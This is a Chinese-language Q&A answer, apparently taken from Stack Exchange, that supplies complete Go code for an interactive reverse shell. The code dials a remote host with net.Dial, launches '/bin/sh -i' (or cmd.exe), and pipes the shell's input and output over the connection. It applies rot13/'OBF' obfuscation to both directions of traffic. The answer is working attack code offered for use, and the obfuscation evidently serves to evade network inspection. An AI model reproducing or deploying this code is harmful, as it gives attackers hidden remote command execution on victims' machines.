Go语言如何捕获交互式shell的cmd.Stdin字节流并做rot13处理
解决方案
你遇到的问题本质是需要在网络连接和shell标准输入之间加一层数据处理逻辑,不用纠结cmd.StdinPipe返回的是io.WriteCloser,你只需要按以下逻辑实现即可:
- 从网络连接
conn中读取服务端发送的原始指令数据 - 用你已有的rot13函数处理读取到的字节
- 将处理后的字节写入
cmd.StdinPipe返回的写入器,就能传入shell执行
具体实现
首先实现stdin流处理函数,逻辑和你现有Stdout处理函数相反即可:
// 参数说明:源读取端填conn,目标写入端填cmdStdin,第三个参数传入你已有的rot13处理函数 func processStdinStream(src io.Reader, dst io.Writer, rot13 func([]byte) []byte) error { buf := make([]byte, 4096) for { n, err := src.Read(buf) if n > 0 { processed := rot13(buf[:n]) _, writeErr := dst.Write(processed) if writeErr != nil { return writeErr } } if err != nil { // 读取端断开时自动关闭shell标准输入,避免残留僵尸进程 if closer, ok := dst.(io.Closer); ok { _ = closer.Close() } if err == io.EOF { return nil } return err } } }
调整主流程逻辑,两个流处理需要并行执行:
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo) if err != nil { fmt.Fprintf(os.Stderr, "connect error: %s\n", err) return } defer conn.Close() // 跨平台兼容:Windows环境下替换为 exec.Command("cmd.exe") 即可 cmd := exec.Command("/bin/sh", "-i") // 获取stdin、stdout管道 cmdStdin, err := cmd.StdinPipe() if err != nil { fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err) return } cmdStdout, err := cmd.StdoutPipe() if err != nil { fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err) return } // stderr可以直接绑定conn,也可以走和stdout相同的处理逻辑 cmd.Stderr = conn err = cmd.Start() if err != nil { fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err) return } // 进程退出后自动回收资源 defer func() { _ = cmd.Process.Kill() _ = cmd.Wait() }() // 开协程处理stdin方向:读conn -> rot13处理 -> 写shell stdin go func() { _ = processStdinStream(conn, cmdStdin, yourRot13Func) }() // 主协程处理stdout方向:读shell stdout -> OBF处理 -> 写conn err = OBFprocessStream(cmdStdout, conn)
额外说明
如果你原来的OBFprocessStream已经是通用的「读源+处理+写目标」逻辑,不需要额外写新函数,直接把参数顺序反过来传入即可复用。
内容的提问来源于stack exchange,提问作者hyogy
相关产品推荐
相关产品推荐

